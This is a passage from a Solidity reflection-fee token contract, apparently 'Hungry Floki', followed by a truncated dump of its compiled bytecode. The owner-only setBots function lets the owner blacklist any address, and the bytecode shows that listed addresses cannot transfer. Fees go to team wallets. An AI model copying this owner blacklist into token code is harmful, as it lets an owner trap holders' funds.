}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600c81526020017f48756e67727920466c6f6b690000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613dbc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123089092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf816123c8565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e9565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f48464c4f4b490000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e8161256d565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea0000061285790919063ffffffff16565b6128dd90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613e326024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d796022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613e0d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613d2c6023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613de46029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561224557601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b1561224357601360179054906101000a900460ff1615612220576101684203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061221f57600080fd5b5b6122298161256d565b6000479050600081111561224157612240476123c8565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122ec5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f657600090505b61230284848484612927565b50505050565b60008383111582906123b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561237a57808201518184015260208101905061235f565b50505050905090810190601f1680156123a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242b600861241d600a866128dd90919063ffffffff16565b61285790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612456573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124ba60026124ac600a866128dd90919063ffffffff16565b61285790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124e5573d6000803e3d6000fd5b5050565b6000600a54821115612546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d4f602a913960400191505060405180910390fd5b6000612550612b7e565b905061256581846128dd90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156125a257600080fd5b506040519080825280602002602001820160405280156125d15781602001602082028036833780820191505090505b50905030816000815181106125e257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561268457600080fd5b505afa158015612698573d6000803e3d6000fd5b505050506040513d60208110156126ae57600080fd5b8101908080519060200190929190505050816001815181106126cc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061273330601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156127f75780820151818401526020810190506127dc565b505050509050019650505050505050600060405180830381600087803b15801561282057600080fd5b505af1158015612834573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561286a57600090506128d7565b600082840290508284828161287b57fe5b04146128d2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d9b6021913960400191505060405180910390fd5b809150505b92915050565b600061291f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ba9565b905092915050565b8061293557612934612c6f565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129d85750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129ed576129e8848484612cb2565b612b6a565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a905750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aa557612aa0848484612f12565b612b69565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b475750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5c57612b57848484613172565b612b68565b612b67848484613467565b5b5b5b80612b7857612b77613632565b5b50505050565b6000806000612b8b613646565b91509150612ba281836128dd90919063ffffffff16565b9250505090565b60008083118290612c55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612c1a578082015181840152602081019050612bff565b50505050905090810190601f168015612c475780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c6157fe5b049050809150509392505050565b6000600c54148015612c8357506000600d54145b15612c8d57612cb0565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612cc4876138f3565b955095509550955095509550612d2287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612db786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e4c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e9881613a2d565b612ea28483613bd2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612f24876138f3565b955095509550955095509550612f8286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061301783600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130ac85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130f881613a2d565b6131028483613bd2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613184876138f3565b9550955095509550955095506131e287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061327786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133ed81613a2d565b6133f78483613bd2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613479876138f3565b9550955095509550955095506134d786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061356c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135b881613a2d565b6135c28483613bd2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378da